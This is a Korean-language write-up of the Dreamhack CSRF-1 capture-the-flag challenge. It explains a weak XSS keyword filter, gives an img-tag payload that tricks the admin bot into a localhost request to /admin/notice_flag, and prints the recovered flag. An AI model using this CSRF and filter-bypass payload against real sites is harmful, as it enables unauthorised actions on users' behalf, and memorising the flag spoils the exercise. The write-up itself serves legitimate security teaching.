Dreamhack CSRF-1 Write-up
문제 개요
CSRF 취약점이 존재하는 웹 서비스에서, 관리자만 수행할 수 있는 메모 작성 기능(/admin/notice_flag)을 실행시켜 FLAG를 획득하는 문제.
엔드포인트 분석
엔드포인트 설명
| /vuln | 사용자 입력값(param)을 화면에 출력. frame, script, on 키워드 필터링 |
| /memo | 메모를 저장하고 출력 |
| /admin/notice_flag | memo에 FLAG를 기록. localhost(127.0.0.1) + userid=admin 조건 필요 |
| /flag | 입력받은 URL을 관리자 봇이 방문하게 함 |
취약점 분석
/vuln - 필터링 우회 가능
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
frame, script, on 만 필터링하므로 img 태그는 사용 가능.
/admin/notice_flag - 두 가지 조건
if request.remote_addr != '127.0.0.1': # 조건 1: localhost만 허용
return 'Access Denied'
if request.args.get('userid', '') != 'admin': # 조건 2: userid=admin
return 'Access Denied 2'
memo_text += f'[Notice] flag is {FLAG}\n' # 조건 통과 시 FLAG 기록
일반 사용자가 직접 접근하면 IP가 localhost가 아니므로 차단됨.
→ 관리자 봇을 통해 서버 내부(127.0.0.1)에서 요청을 발생시켜야 함.
/flag - 관리자 봇 활용
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie) # 관리자(셀레늄)가 URL 방문
POST로 param을 전달하면, 관리자 봇이 /vuln?param={입력값} 을 로컬호스트에서 방문.
공격 흐름
1. /flag 페이지에 페이로드 제출 (POST)
↓
2. 관리자 봇이 아래 URL을 localhost에서 방문
http://127.0.0.1:8000/vuln?param=<img src="/admin/notice_flag?userid=admin" />
↓
3. /vuln에서 img 태그가 렌더링
→ 브라우저가 src URL로 자동 GET 요청 발생
↓
4. /admin/notice_flag?userid=admin 요청 도달
- request.remote_addr == '127.0.0.1' (관리자 봇이 서버 내부에서 요청)
- userid == 'admin' (파라미터 포함)
↓
5. memo에 FLAG 기록
↓
6. /memo 접속 → FLAG 확인
페이로드
<img src="/admin/notice_flag?userid=admin" />
- img 태그: 필터링 대상 아님
- 상대경로 /admin/notice_flag: 관리자 봇이 127.0.0.1:8000에서 방문 중이므로 자동으로 http://127.0.0.1:8000/admin/notice_flag 로 해석됨
- userid=admin: admin 조건 통과
풀이 단계
Step 1. /flag 페이지(GET) 접속 → 입력창 확인
Step 2. 입력창에 페이로드 입력 후 Submit
<img src="/admin/notice_flag?userid=admin" />
Step 3. /memo 페이지 접속
[Notice] flag is DH{11a230801ad0b80d52b996cbe203e83d}
핵심 포인트 정리
포인트 내용
| CSRF 성립 조건 | 관리자 봇이 쿠키를 가진 채로 요청을 보냄 |
| 필터 우회 | script 대신 img 태그 사용 |
| localhost 우회 | 관리자 봇이 서버 내부에서 실행되므로 IP가 127.0.0.1 |
| 공격 트리거 포인트 | /vuln의 img 태그 렌더링 |
Flag
